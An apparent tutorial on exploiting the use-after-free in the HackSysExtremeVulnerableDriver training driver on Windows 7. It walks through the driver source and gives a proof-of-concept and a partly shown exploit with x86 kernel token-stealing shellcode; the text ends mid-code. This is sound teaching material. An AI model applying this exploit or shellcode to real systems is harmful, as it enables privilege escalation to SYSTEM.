If you’ve been following the series consecutively, by now you should have exploited a basic Stack Overflow both within Windows 7 (x86) and Windows 10 (x64). Although this is a major accomplishment there are more vulnerabilities that can result in code execution. The best way to get familiar with them is to exploit them on a system with minimal mitigations. For this reason, we’ll be returning back to Windows 7 (x86).

In addition, we won’t be utilizing Ghidra, this time we’ll be using the source code. In the next guide we’ll re-introduce Ghidra to give you a valuable perspective on how you would identify it using either source or decompiler output.

Table of Contents

What is a Use After Free (High Level)

Just in case you’re not completely familiar with what a Use-After-Free is, let’s give ourselves a quick high-level overview of this bug class. Basically, a Use After Free (UaF) occurs when we Use an object After it has been Free’d. This “object” can be any structure or class loaded in memory that is later freed.

To use a non-technical example, let’s say you’re working under a car and place your tools beside you. You’re working upside down so you’re not paying attention to your toolbox, you just simply reach into the toolbox and feel around for what you need.

alt text

In this “toolbox” you only have a wrench (hard to believe I know), you grab the wrench but instead of putting it back in the toolbox you place it on the floor near your feet. Although at your feet, you believe the wrench has been placed back in its original location.

Without you noticing some dude throws a can of soda into the toolbox.

alt text

When you go and reach for the wrench you don’t notice a difference between it and the can (because you have flippers, you’re a penguin). So, you end up dumping cola all over your new tux.

alt text

OH NO!! We have fallen victim to a UaF, the dude successfully exploited the UaF.

How does this relate to computers?

  • The example of blindly reaching into a toolbox mirrors the way programs rely on memory without “looking” (verifying if it’s still valid or changed).
  • The unexpected replacement of the wrench with a soda can demonstrates how stale references (pointers) can lead to unintended and harmful outcomes.
  • The “dude” throwing a soda can represents an attacker taking advantage of freed memory (e.g., injecting malicious data/code into reused memory).

With that we should be ready to get started.

Using Source - Getting a Lay of the Land

The first thing we want to identify is the location of the I/O Control Codes. From the looks of it, each vulnerability has its own “handler” function.

./ArbitraryWrite.c:129:/// Arbitrary Write Ioctl Handler
./MemoryDisclosureNonPagedPool.c:178:/// Memory Disclosure NonPagedPool Ioctl Handler
./DoubleFetch.c:151:/// Double Fetch Ioctl Handler
./BufferOverflowNonPagedPool.c:165:/// Buffer Overflow NonPagedPool Ioctl Handler
./MemoryDisclosureNonPagedPoolNx.c:177:/// Memory Disclosure NonPagedPoolNx Ioctl Handler
./IntegerOverflow.c:154:/// Integer Overflow Ioctl Handler
./UninitializedMemoryPagedPool.c:216:/// Uninitialized Memory PagedPool Ioctl Handler
./WriteNULL.c:117:/// Write NULL Ioctl Handler
./InsecureKernelResourceAccess.c:148:/// Insecure Kernel File Access Ioctl Handler
./BufferOverflowPagedPoolSession.c:165:/// Buffer Overflow PagedPoolSession Ioctl Handler
./BufferOverflowNonPagedPoolNx.c:165:/// Buffer Overflow NonPagedPoolNx Ioctl Handler
./UseAfterFreeNonPagedPool.c:352:/// Allocate UaF Object NonPagedPool Ioctl Handler
./UseAfterFreeNonPagedPool.c:376:/// Use UaF Object NonPagedPool Ioctl Handler
./UseAfterFreeNonPagedPool.c:400:/// Free UaF Object NonPagedPool Ioctl Handler
./UseAfterFreeNonPagedPool.c:424:/// Allocate Fake Object NonPagedPool Ioctl Handler
./UseAfterFreeNonPagedPoolNx.c:352:/// Allocate UaF Object NonPagedPoolNx Ioctl Handler
./UseAfterFreeNonPagedPoolNx.c:376:/// Use UaF Object NonPagedPoolNx Ioctl Handler
./UseAfterFreeNonPagedPoolNx.c:400:/// Free UaF Object NonPagedPoolNx Ioctl Handler
./UseAfterFreeNonPagedPoolNx.c:424:/// Allocate Fake Object NonPagedPoolNx Ioctl Handler
./BufferOverflowStack.c:121:/// Buffer Overflow Stack Ioctl Handler
./ArbitraryReadWriteHelperNonPagedPoolNx.c:553:/// Create Arbitrary Read Write Helper Object Ioctl Handler
./ArbitraryReadWriteHelperNonPagedPoolNx.c:582:/// Set Arbitrary Read Write Helper Object Name Ioctl Handler
./ArbitraryReadWriteHelperNonPagedPoolNx.c:611:/// Get Arbitrary Read Write Helper Object Name Ioctl Handler
./ArbitraryReadWriteHelperNonPagedPoolNx.c:640:/// Delete Arbitrary Read Write Helper Object Ioctl Handler
./UninitializedMemoryStack.c:160:/// Uninitialized Memory Stack Ioctl Handler
./NullPointerDereference.c:200:/// Null Pointer Dereference Ioctl Handler
./BufferOverflowStackGS.c:121:/// Buffer Overflow Stack GS Ioctl Handler
./TypeConfusion.c:213:/// Type Confusion Ioctl Handler

We’re interested in the UseAfterFreeNonPagedPool I/O Control Codes.

./UseAfterFreeNonPagedPool.c:352:/// Allocate UaF Object NonPagedPool Ioctl Handler
./UseAfterFreeNonPagedPool.c:376:/// Use UaF Object NonPagedPool Ioctl Handler
./UseAfterFreeNonPagedPool.c:400:/// Free UaF Object NonPagedPool Ioctl Handler
./UseAfterFreeNonPagedPool.c:424:/// Allocate Fake Object NonPagedPool Ioctl Handler

Based on the naming convention we can identify the following functions:

AllocateUaFObjectNonPagedPoolIoctlHandler(
UseUaFObjectNonPagedPoolIoctlHandler(
FreeUaFObjectNonPagedPoolIoctlHandler(
AllocateFakeObjectNonPagedPoolIoctlHandler(

If we trace where these function calls are used, we are led to ./HackSysExtremeVulnerableDriver.c which contains a switch statement that would allow us to trigger vulnerable functions.

294         case HEVD_IOCTL_ALLOCATE_UAF_OBJECT_NON_PAGED_POOL:
295             DbgPrint("****** HEVD_IOCTL_ALLOCATE_UAF_OBJECT_NON_PAGED_POOL ******\n");
296             Status = AllocateUaFObjectNonPagedPoolIoctlHandler(Irp, IrpSp);
297             DbgPrint("****** HEVD_IOCTL_ALLOCATE_UAF_OBJECT_NON_PAGED_POOL ******\n");
298             break;
299         case HEVD_IOCTL_USE_UAF_OBJECT_NON_PAGED_POOL:
300             DbgPrint("****** HEVD_IOCTL_USE_UAF_OBJECT_NON_PAGED_POOL ******\n");
301             Status = UseUaFObjectNonPagedPoolIoctlHandler(Irp, IrpSp);
302             DbgPrint("****** HEVD_IOCTL_USE_UAF_OBJECT_NON_PAGED_POOL ******\n");
303             break;
304         case HEVD_IOCTL_FREE_UAF_OBJECT_NON_PAGED_POOL:
305             DbgPrint("****** HEVD_IOCTL_FREE_UAF_OBJECT_NON_PAGED_POOL ******\n");
306             Status = FreeUaFObjectNonPagedPoolIoctlHandler(Irp, IrpSp);
307             DbgPrint("****** HEVD_IOCTL_FREE_UAF_OBJECT_NON_PAGED_POOL ******\n");
308             break;
309         case HEVD_IOCTL_ALLOCATE_FAKE_OBJECT_NON_PAGED_POOL:
310             DbgPrint("****** HEVD_IOCTL_ALLOCATE_FAKE_OBJECT_NON_PAGED_POOL ******\n");
311             Status = AllocateFakeObjectNonPagedPoolIoctlHandler(Irp, IrpSp);
312             DbgPrint("****** HEVD_IOCTL_ALLOCATE_FAKE_OBJECT_NON_PAGED_POOL ******\n");
313             break;

This however still did not give us the I/O Control Codes so before trying to search within each file using some grep-fu, let’s check the header file HackSysExtremeVulnerableDriver.h.

Within it we are given a list of IOCTL Codes :)

 81 #define HEVD_IOCTL_BUFFER_OVERFLOW_STACK                         IOCTL(0x800)
 82 #define HEVD_IOCTL_BUFFER_OVERFLOW_STACK_GS                      IOCTL(0x801)
 83 #define HEVD_IOCTL_ARBITRARY_WRITE                               IOCTL(0x802)
 84 #define HEVD_IOCTL_BUFFER_OVERFLOW_NON_PAGED_POOL                IOCTL(0x803)
 85 #define HEVD_IOCTL_ALLOCATE_UAF_OBJECT_NON_PAGED_POOL            IOCTL(0x804)
 86 #define HEVD_IOCTL_USE_UAF_OBJECT_NON_PAGED_POOL                 IOCTL(0x805)
 87 #define HEVD_IOCTL_FREE_UAF_OBJECT_NON_PAGED_POOL                IOCTL(0x806)
 88 #define HEVD_IOCTL_ALLOCATE_FAKE_OBJECT_NON_PAGED_POOL           IOCTL(0x807)
 89 #define HEVD_IOCTL_TYPE_CONFUSION                                IOCTL(0x808)
 90 #define HEVD_IOCTL_INTEGER_OVERFLOW                              IOCTL(0x809)
 91 #define HEVD_IOCTL_NULL_POINTER_DEREFERENCE                      IOCTL(0x80A)
 92 #define HEVD_IOCTL_UNINITIALIZED_MEMORY_STACK                    IOCTL(0x80B)
 93 #define HEVD_IOCTL_UNINITIALIZED_MEMORY_PAGED_POOL               IOCTL(0x80C)
 94 #define HEVD_IOCTL_DOUBLE_FETCH                                  IOCTL(0x80D)
 95 #define HEVD_IOCTL_INSECURE_KERNEL_FILE_ACCESS                   IOCTL(0x80E)
 96 #define HEVD_IOCTL_MEMORY_DISCLOSURE_NON_PAGED_POOL              IOCTL(0x80F)
 97 #define HEVD_IOCTL_BUFFER_OVERFLOW_PAGED_POOL_SESSION            IOCTL(0x810)
 98 #define HEVD_IOCTL_WRITE_NULL                                    IOCTL(0x811)
 99 #define HEVD_IOCTL_BUFFER_OVERFLOW_NON_PAGED_POOL_NX             IOCTL(0x812)
100 #define HEVD_IOCTL_MEMORY_DISCLOSURE_NON_PAGED_POOL_NX           IOCTL(0x813)
101 #define HEVD_IOCTL_ALLOCATE_UAF_OBJECT_NON_PAGED_POOL_NX         IOCTL(0x814)
102 #define HEVD_IOCTL_USE_UAF_OBJECT_NON_PAGED_POOL_NX              IOCTL(0x815)
103 #define HEVD_IOCTL_FREE_UAF_OBJECT_NON_PAGED_POOL_NX             IOCTL(0x816)
104 #define HEVD_IOCTL_ALLOCATE_FAKE_OBJECT_NON_PAGED_POOL_NX        IOCTL(0x817)
105 #define HEVD_IOCTL_CREATE_ARW_HELPER_OBJECT_NON_PAGED_POOL_NX    IOCTL(0x818)
106 #define HEVD_IOCTL_SET_ARW_HELPER_OBJECT_NAME_NON_PAGED_POOL_NX  IOCTL(0x819)
107 #define HEVD_IOCTL_GET_ARW_HELPER_OBJECT_NAME_NON_PAGED_POOL_NX  IOCTL(0x81A)
108 #define HEVD_IOCTL_DELETE_ARW_HELPER_OBJECT_NON_PAGED_POOL_NX    IOCTL(0x81B)

However, for this tutorial we’d only be focusing on the following:

 85 #define HEVD_IOCTL_ALLOCATE_UAF_OBJECT_NON_PAGED_POOL            IOCTL(0x804)
 86 #define HEVD_IOCTL_USE_UAF_OBJECT_NON_PAGED_POOL                 IOCTL(0x805)
 87 #define HEVD_IOCTL_FREE_UAF_OBJECT_NON_PAGED_POOL                IOCTL(0x806)
 88 #define HEVD_IOCTL_ALLOCATE_FAKE_OBJECT_NON_PAGED_POOL           IOCTL(0x807)

Understanding AllocateUaFObjectNonPagedPoolIoctlHandler

We can find this function within UseAfterFreeNonPagedPool.c on line 357.

357 NTSTATUS
358 AllocateUaFObjectNonPagedPoolIoctlHandler(
359     _In_ PIRP Irp,
360     _In_ PIO_STACK_LOCATION IrpSp
361 )
362 {
363     NTSTATUS Status = STATUS_UNSUCCESSFUL;
364 
365     UNREFERENCED_PARAMETER(Irp);
366     UNREFERENCED_PARAMETER(IrpSp);
367     PAGED_CODE();
368 
369     Status = AllocateUaFObjectNonPagedPool();
370 
371     return Status;
372 }

This function ultimately calls AllocateUaFObjectNonPagedPool, which starts on line 86.

 86 NTSTATUS
 87 AllocateUaFObjectNonPagedPool(
 88     VOID
 89 )
 90 {
 91     NTSTATUS Status = STATUS_UNSUCCESSFUL;
 92     PUSE_AFTER_FREE_NON_PAGED_POOL UseAfterFree = NULL;
 93 
 94     PAGED_CODE();
 95 
 96     __try
 97     {
 98         DbgPrint("[+] Allocating UaF Object\n");
 99 
100         //
101         // Allocate Pool chunk
102         //
103 
104         UseAfterFree = (PUSE_AFTER_FREE_NON_PAGED_POOL)ExAllocatePoolWithTag(
105             NonPagedPool,
106             sizeof(USE_AFTER_FREE_NON_PAGED_POOL),
107             (ULONG)POOL_TAG
108         );
109 
110         if (!UseAfterFree)
111         {   
112             //
113             // Unable to allocate Pool chunk
114             //
115             
116             DbgPrint("[-] Unable to allocate Pool chunk\n");
117             
118             Status = STATUS_NO_MEMORY;
119             return Status;
120         }
121         else
122         {   
123             DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
124             DbgPrint("[+] Pool Type: %s\n", STRINGIFY(NonPagedPool));
125             DbgPrint("[+] Pool Size: 0x%X\n", sizeof(USE_AFTER_FREE_NON_PAGED_POOL));
126             DbgPrint("[+] Pool Chunk: 0x%p\n", UseAfterFree);
127         }
128 
129         //
130         // Fill the buffer with ASCII 'A'
131         //
132 
133         RtlFillMemory((PVOID)UseAfterFree->Buffer, sizeof(UseAfterFree->Buffer), 0x41);
134 
135         //
136         // Null terminate the char buffer
137         //
138 
139         UseAfterFree->Buffer[sizeof(UseAfterFree->Buffer) - 1] = '\0';
140 
141         //
142         // Set the object Callback function
143         //
144 
145         UseAfterFree->Callback = &UaFObjectCallbackNonPagedPool;
146 
147         //
148         // Assign the address of UseAfterFree to a global variable
149         //
150 
151         g_UseAfterFreeObjectNonPagedPool = UseAfterFree;
152 
153         DbgPrint("[+] UseAfterFree Object: 0x%p\n", UseAfterFree);
154         DbgPrint("[+] g_UseAfterFreeObjectNonPagedPool: 0x%p\n", g_UseAfterFreeObjectNonPagedPool);
155         DbgPrint("[+] UseAfterFree->Callback: 0x%p\n", UseAfterFree->Callback);
156     }
157     __except (EXCEPTION_EXECUTE_HANDLER)
158     {
159         Status = GetExceptionCode();
160         DbgPrint("[-] Exception Code: 0x%X\n", Status);
161     }
162 
163     return Status;
164 }

Let’s break down what this function is doing at a high-level.

  • Lines 91-92 we see variables being declared, one of them being a custom structure containing two members: a function pointer, and a char buffer[0x54].
  • On line 94 we see the PAGED_CODE macro defined. This macro marks this function as pageable. What this means is, if the function is not present in memory it may be moved to disk. The OS will do this if it needs physical memory for other tasks.
  • Lines 104-108 we see a call to ExAllocatePoolWithTag() this is a Windows API call. Basically, what this does is allocate “pool memory” of a specified type and will return a pointer to the allocated block, which as we can see is then casted.
    • Argument 1: Here we use a Nonpaged pool, which can be accessed from any IRQL, notably memory allocated with this type is EXECUTABLE.
    • Argument 2: Size of the chunk.
    • Argument 3: A pool tag, which from my understanding is for debugging purposes. We can find this in common.h as Hack or “kcaH” since it must be specified in reverse order.
  • Lines 110-127 we can ignore as it’s just error/success checking the last call
  • On line 133 we basically see a call to RtlFillMemory() another Windows API (memset in nix).
  • On line 139 we NULL terminate the buffer we filled with A’s.
  • On line 145 we set the function pointer to the UaFObjectCallbackNonPagedPool function.
  • On line 151 we assign the address of the allocated object to a global variable.

Pretty straight forward! We’re just allocating some memory (marked executable) to hold the PUSE_AFTER_FREE_NON_PAGED_POOL structure, fill the Buffer member (char array), and set the Callback member (function pointer). The structure definition can be seen below:

 62 typedef struct _USE_AFTER_FREE_NON_PAGED_POOL
 63 {   
 64     FunctionPointer Callback;
 65     CHAR Buffer[0x54];
 66 } USE_AFTER_FREE_NON_PAGED_POOL, *PUSE_AFTER_FREE_NON_PAGED_POOL;

Understanding UseUaFObjectNonPagedPoolIoctlHandler

Once again, this as a “wrapper” to call another function:

375 /// <summary>                                                             
376 /// Use UaF Object NonPagedPool Ioctl Handler                             
377 /// </summary>                                                            
378 /// <param name="Irp">The pointer to IRP</param>                          
379 /// <param name="IrpSp">The pointer to IO_STACK_LOCATION structure</param>
380 /// <returns>NTSTATUS</returns>                                           
381 NTSTATUS                                                                  
382 UseUaFObjectNonPagedPoolIoctlHandler(                                     
383     _In_ PIRP Irp,                                                        
384     _In_ PIO_STACK_LOCATION IrpSp                                         
385 )                                                                         
386 {                                                                         
387     NTSTATUS Status = STATUS_UNSUCCESSFUL;                                
388                                                                           
389     UNREFERENCED_PARAMETER(Irp);                                          
390     UNREFERENCED_PARAMETER(IrpSp);                                        
391     PAGED_CODE();                                                         
392                                                                           
393     Status = UseUaFObjectNonPagedPool();                                  
394                                                                           
395     return Status;                                                        
396 } 

Let’s look at UseUaFObjectNonPagedPool().

171 NTSTATUS
172 UseUaFObjectNonPagedPool(
173     VOID
174 )
175 {
176     NTSTATUS Status = STATUS_UNSUCCESSFUL;
177 
178     PAGED_CODE();
179 
180     __try
181     {
182         if (g_UseAfterFreeObjectNonPagedPool)
183         {
184             DbgPrint("[+] Using UaF Object\n");
185             DbgPrint("[+] g_UseAfterFreeObjectNonPagedPool: 0x%p\n", g_UseAfterFreeObjectNonPagedPool);
186             DbgPrint("[+] g_UseAfterFreeObjectNonPagedPool->Callback: 0x%p\n", g_UseAfterFreeObjectNonPagedPool->Callback);
187             DbgPrint("[+] Calling Callback\n");
188 
189             if (g_UseAfterFreeObjectNonPagedPool->Callback)
190             {
191                 g_UseAfterFreeObjectNonPagedPool->Callback();
192             }
193 
194             Status = STATUS_SUCCESS;
195         }
196     }
197     __except (EXCEPTION_EXECUTE_HANDLER)
198     {
199         Status = GetExceptionCode();
200         DbgPrint("[-] Exception Code: 0x%X\n", Status);
201     }
202 
203     return Status;
204 }

Ok, so pretty straightforward. We’re simply calling the Callback function pointer, which we previously saw was set in the AllocateUaFObjectNonPagedPoolIoctlHandler() to UaFObjectCallbackNonPagedPool.

Understanding FreeUaFObjectNonPagedPoolIoctlHandler

Once again we see that this handler takes no arguments.

405 NTSTATUS
406 FreeUaFObjectNonPagedPoolIoctlHandler(
407     _In_ PIRP Irp,
408     _In_ PIO_STACK_LOCATION IrpSp
409 )   
410 {   
411     NTSTATUS Status = STATUS_UNSUCCESSFUL;
412 
413     UNREFERENCED_PARAMETER(Irp);
414     UNREFERENCED_PARAMETER(IrpSp);
415     PAGED_CODE();
416 
417     Status = FreeUaFObjectNonPagedPool();
418 
419     return Status;
420 }

Lets look at FreeUaFObjectNonPagedPool:

211 NTSTATUS
212 FreeUaFObjectNonPagedPool(
213     VOID
214 )   
215 {   
216     NTSTATUS Status = STATUS_UNSUCCESSFUL;
217     
218     PAGED_CODE();
219     
220     __try
221     {
222         if (g_UseAfterFreeObjectNonPagedPool)
223         {
224             DbgPrint("[+] Freeing UaF Object\n");
225             DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
226             DbgPrint("[+] Pool Chunk: 0x%p\n", g_UseAfterFreeObjectNonPagedPool);
227 
228 #ifdef SECURE
229             //
230             // Secure Note: This is secure because the developer is setting
231             // 'g_UseAfterFreeObjectNonPagedPool' to NULL once the Pool chunk is being freed
232             //
233 
234             ExFreePoolWithTag((PVOID)g_UseAfterFreeObjectNonPagedPool, (ULONG)POOL_TAG);
235      
236             //
237             // Set to NULL to avoid dangling pointer
238             //
239      
240             g_UseAfterFreeObjectNonPagedPool = NULL;
241 #else
242             //
243             // Vulnerability Note: This is a vanilla Use After Free vulnerability
244             // because the developer is not setting 'g_UseAfterFreeObjectNonPagedPool' to NULL.
245             // Hence, g_UseAfterFreeObjectNonPagedPool still holds the reference to stale pointer
246             // (dangling pointer)
247             //
248             
249             ExFreePoolWithTag((PVOID)g_UseAfterFreeObjectNonPagedPool, (ULONG)POOL_TAG);
250 #endif      
251             
252             Status = STATUS_SUCCESS;
253         }
254     }
255     __except (EXCEPTION_EXECUTE_HANDLER)
256     {   
257         Status = GetExceptionCode();
258         DbgPrint("[-] Exception Code: 0x%X\n", Status);
259     }
260     
261     return Status;
262 }

Here we see a call to a new Windows API the ExFreePoolWithTag function. This function simply deallocates a block of pool memory allocated with the specified tag (Hack), however we can see that the global variable g_UseAfterFreeObjectNonPagedPool is never made NULL. This means g_UseAfterFreeObjectNonPagedPool will contain a pointer to the free’d object even after it’s been free’d. As the source mentions - a dangling pointer.

Understanding AllocateFakeObjectNonPagedPoolIoctlHandler

Looking at this handler we can see it takes some user input on line 441.

429 NTSTATUS
430 AllocateFakeObjectNonPagedPoolIoctlHandler(
431     _In_ PIRP Irp,
432     _In_ PIO_STACK_LOCATION IrpSp
433 )           
434 {           
435     NTSTATUS Status = STATUS_UNSUCCESSFUL;
436     PFAKE_OBJECT_NON_PAGED_POOL UserFakeObject = NULL;
437             
438     UNREFERENCED_PARAMETER(Irp);
439     PAGED_CODE();
440 
441     UserFakeObject = (PFAKE_OBJECT_NON_PAGED_POOL)IrpSp->Parameters.DeviceIoControl.Type3InputBuffer;
442     
443     if (UserFakeObject)
444     {   
445         Status = AllocateFakeObjectNonPagedPool(UserFakeObject);
446     }
447     
448     return Status;
449 }

From here, we call AllocateFakeObjectNonPagedPool.

270 NTSTATUS
271 AllocateFakeObjectNonPagedPool(
272     _In_ PFAKE_OBJECT_NON_PAGED_POOL UserFakeObject
273 )
274 {
275     NTSTATUS Status = STATUS_SUCCESS;
276     PFAKE_OBJECT_NON_PAGED_POOL KernelFakeObject = NULL;
277 
278     PAGED_CODE();
279 
280     __try
281     {
282         DbgPrint("[+] Creating Fake Object\n");
283 
284         //
285         // Allocate Pool chunk
286         //
287 
288         KernelFakeObject = (PFAKE_OBJECT_NON_PAGED_POOL)ExAllocatePoolWithTag(
289             NonPagedPool,
290             sizeof(FAKE_OBJECT_NON_PAGED_POOL),
291             (ULONG)POOL_TAG
292         );
293 
294         if (!KernelFakeObject)
295         {   
296             //
297             // Unable to allocate Pool chunk
298             //
299             
300             DbgPrint("[-] Unable to allocate Pool chunk\n");
301             
302             Status = STATUS_NO_MEMORY;
303             return Status;
304         }
305         else
306         {   
307             DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
308             DbgPrint("[+] Pool Type: %s\n", STRINGIFY(NonPagedPool));
309             DbgPrint("[+] Pool Size: 0x%X\n", sizeof(FAKE_OBJECT_NON_PAGED_POOL));
310             DbgPrint("[+] Pool Chunk: 0x%p\n", KernelFakeObject);
311         }
312         
313         //
314         // Verify if the buffer resides in user mode
315         //
316         
317         ProbeForRead(
318             (PVOID)UserFakeObject,
319             sizeof(FAKE_OBJECT_NON_PAGED_POOL),
320             (ULONG)__alignof(UCHAR)
321         );
322 
323         //
324         // Copy the Fake structure to Pool chunk
325         //
326 
327         RtlCopyMemory(
328             (PVOID)KernelFakeObject,
329             (PVOID)UserFakeObject,
330             sizeof(FAKE_OBJECT_NON_PAGED_POOL)
331         );
332 
333         //
334         // Null terminate the char buffer
335         //
336 
337         KernelFakeObject->Buffer[sizeof(KernelFakeObject->Buffer) - 1] = '\0';
338 
339         DbgPrint("[+] Fake Object: 0x%p\n", KernelFakeObject);
340     }
341     __except (EXCEPTION_EXECUTE_HANDLER)
342     {
343         Status = GetExceptionCode();
344         DbgPrint("[-] Exception Code: 0x%X\n", Status);
345     }
346 
347     return Status;
348 }

Let’s break this down:

  • Lines 288-311 we allocate a chunk just as before, but this time it’s a “fake object”. Just looking at the structure, it’s the same size as the PUSE_AFTER_FREE_NON_PAGED_POOL object
  • Lines 317-321 we see a new Windows API ProbeForRead which checks that the user-mode buffer is correctly aligned.
  • Lines 327-331 we RtlCopyMemory / move the usermode buffer into the fake object allocation
  • Lines 333-347 we NULL terminate the buffer and return.

For reference this is the fake object:

 68 typedef struct _FAKE_OBJECT_NON_PAGED_POOL
 69 {
 70     CHAR Buffer[0x58];
 71 } FAKE_OBJECT_NON_PAGED_POOL, *PFAKE_OBJECT_NON_PAGED_POOL;

Noice, if you’re familiar with user mode exploitation your eyes are probably lit up by now.

Summary of Functions

In short this is what the functions do:

Function Summary
AllocateUaFObjectNonPagedPoolIoctlHandler We’re just allocating some memory (executable) to hold the PUSE_AFTER_FREE_NON_PAGED_POOL structure, fill the Buffer member (char array), and set the Callback member (function pointer)
UseUaFObjectNonPagedPoolIoctlHandler Calls the Callback function pointer from the global variable g_UseAfterFreeObjectNonPagedPool
FreeUaFObjectNonPagedPoolIoctlHandler Free’s the g_UseAfterFreeObjectNonPagedPool object, and DOES NOT NULL out the variable (dangling pointer)
AllocateFakeObjectNonPagedPoolIoctlHandler Allocates an object the same size as the original allocation, but with user-controlled input.

Looking at this we have a classic UAF. Never done a Windows UAF but I’m assuming that the fake object will take the previously allocated memories space. To exploit this in theory all we need to do is:

  1. Allocate a USE_AFTER_FREE_NON_PAGED_POOL object
  2. Free the object
  3. Allocate a FAKE_OBJECT_NON_PAGED_POOL object (reclaiming freed memory)
  4. Call g_UseAfterFreeObjectNonPagedPool.Callback which should point to the corrupted structure

Exploitation

From here writing a PoC seemed pretty straightforward, and since we had source this should be pretty easy (object size wise).

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>

#include <windows.h>
#include <psapi.h>

#define IOCTL(Function) CTL_CODE (FILE_DEVICE_UNKNOWN, Function, METHOD_NEITHER, FILE_ANY_ACCESS)

#define HEVD_ALLOCATE_ROBJ IOCTL(0x804)
#define HEVD_CALL_FPTR     IOCTL(0x805)
#define HEVD_FREE          IOCTL(0x806)
#define HEVD_ALLOCATE_FOBJ IOCTL(0x807)

typedef struct _FAKE_OBJECT_NON_PAGED_POOL
{
  CHAR Buffer[0x58];
} FAKE_OBJECT_NON_PAGED_POOL, *PFAKE_OBJECT_NON_PAGED_POOL;

void sendIoctl(HANDLE hHEVD, DWORD dIoctl, CHAR *pBuffer, DWORD dBuffer)
{
  DWORD bytesReturned = 0;

  printf("[*] Calling IOCTL Code 0x%x\n", dIoctl);
  DeviceIoControl(hHEVD,
                  dIoctl,
                  pBuffer,
                  dBuffer,
                  NULL,
                  0x00,
                  &bytesReturned,
                  NULL);

  return;
}

char *allocate_buffer()
{
  char *buffer = malloc(sizeof(FAKE_OBJECT_NON_PAGED_POOL));
  if (buffer != NULL)
  {
    printf("[*] Allocated %d bytes (userland)\n", sizeof(FAKE_OBJECT_NON_PAGED_POOL));
    memset(buffer, 0x41, sizeof(FAKE_OBJECT_NON_PAGED_POOL));
  }

  return buffer;
}

int main()
{
  HANDLE hHEVD = NULL;
  char *evilBuffer = NULL;

  hHEVD = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
                      (GENERIC_READ | GENERIC_WRITE),
                      0x00,
                      NULL,
                      OPEN_EXISTING,
                      FILE_ATTRIBUTE_NORMAL,
                      NULL);

  if (hHEVD == INVALID_HANDLE_VALUE)
  {
    printf("[-] Failed to get a handle on HackSysExtremeVulnerableDriver\n");
    return -1;
  }

  evilBuffer = allocate_buffer();
  if (evilBuffer == NULL)
  {
    printf("[*] Failed to allocate evil buffer (userland)\n");
    return -1;
  }

  printf("[*] Allocating PUSE_AFTER_FREE_NON_PAGED_POOL object\n");
  sendIoctl(hHEVD, HEVD_ALLOCATE_ROBJ, NULL, 0);

  printf("[*] Freeing object\n");
  sendIoctl(hHEVD, HEVD_FREE, NULL, 0);

  printf("[*] Allocating FAKE_OBJECT_NON_PAGED_POOL\n");
  sendIoctl(hHEVD, HEVD_ALLOCATE_FOBJ, evilBuffer, sizeof(FAKE_OBJECT_NON_PAGED_POOL));

  printf("[*] Triggering UAF\n");
  sendIoctl(hHEVD, HEVD_CALL_FPTR, NULL, 0);
}

Once sent, we can see we have successfully hijacked execution flow.

alt text

Now since we see 41414141 we can assume that the first 4 bytes are the function pointer, we can confirm this based on the source code (UseAfterFreeNonPagedPool.h):

 62 typedef struct _USE_AFTER_FREE_NON_PAGED_POOL
 63 {
 64     FunctionPointer Callback;
 65     CHAR Buffer[0x54];
 66 } USE_AFTER_FREE_NON_PAGED_POOL, *PUSE_AFTER_FREE_NON_PAGED_POOL;

Let’s write our exploit!

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>

#include <windows.h>
#include <psapi.h>

#define IOCTL(Function) CTL_CODE (FILE_DEVICE_UNKNOWN, Function, METHOD_NEITHER, FILE_ANY_ACCESS)

#define HEVD_ALLOCATE_ROBJ IOCTL(0x804)
#define HEVD_CALL_FPTR     IOCTL(0x805)
#define HEVD_FREE          IOCTL(0x806)
#define HEVD_ALLOCATE_FOBJ IOCTL(0x807)

typedef struct _FAKE_OBJECT_NON_PAGED_POOL
{
  CHAR Buffer[0x58];
} FAKE_OBJECT_NON_PAGED_POOL, *PFAKE_OBJECT_NON_PAGED_POOL;

/* sendIoctl:
     Send the IOCTL code to the driver */
void sendIoctl(HANDLE hHEVD, DWORD dIoctl, CHAR *pBuffer, DWORD dBuffer)
{
  DWORD bytesReturned = 0;

  printf("[*] Calling IOCTL Code 0x%x\n", dIoctl);
  DeviceIoControl(hHEVD,
                  dIoctl,
                  pBuffer,
                  dBuffer,
                  NULL,
                  0x00,
                  &bytesReturned,
                  NULL);

  return;
}

/* allocate_buffer:
     Creates a userland allocation with the first 4 bytes pointing to the address where our shellcode
     was allocated. */
char *allocate_buffer(void *shellcode_addr)
{
  char *buffer = malloc(sizeof(FAKE_OBJECT_NON_PAGED_POOL));
  if (buffer != NULL)
  {
    printf("[*] Shellcode located at: %p\n", &shellcode_addr);
    memcpy(buffer, &shellcode_addr, 4);
    memset(buffer+4, 'A', 83);
  }

  return buffer;
}

int main()
{
  HANDLE hHEVD = NULL;
  char *evilBuffer = NULL;

  char shellcode[] = 

  // sickle -a x86 -p windows/x86/kernel_token_stealer -f c -m pinpoint
  "\x60"                         // pushal 
  "\x31\xc0"                     // xor eax, eax
  "\x64\x8b\x80\x24\x01\x00\x00" // mov eax, dword ptr fs:[eax + 0x124]
  "\x8b\x40\x50"                 // mov eax, dword ptr [eax + 0x50]
  "\x89\xc1"                     // mov ecx, eax
  "\xba\x04\x00\x00\x00"         // mov edx, 4
  "\x8b\x80\xb8\x00\x00\x00"     // mov eax, dword ptr [eax + 0xb8]
  "\x2d\xb8\x00\x00\x00"         // sub eax, 0xb8
  "\x39\x90\xb4\x00\x00\x00"     // cmp dword ptr [eax + 0xb4], edx
  "\x75\xed"                     // jne 0x1014
  "\x8b\x90\xf8\x00\x00\x00"     // mov edx, dword ptr [eax + 0xf8]
  "\x89\x91\xf8\x00\x00\x00"     // mov dword ptr [ecx + 0xf8], edx
  "\x61"                         // popal

  // return to userland code
  "\x31\xc0"                     // xor eax,eax
  "\xC3";                        // ret

  LPVOID lpPayload = VirtualAlloc(NULL,
                                  56,
                                  (MEM_COMMIT | MEM_RESERVE),
                                  PAGE_EXECUTE_READWRITE);

  if (lpPayload == NULL)
  {
    printf("[-] Failed to create shellcode allocation\n");
    return -1;
  }

  memcpy(lpPayload, shellcode, 56);

  hHEVD = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
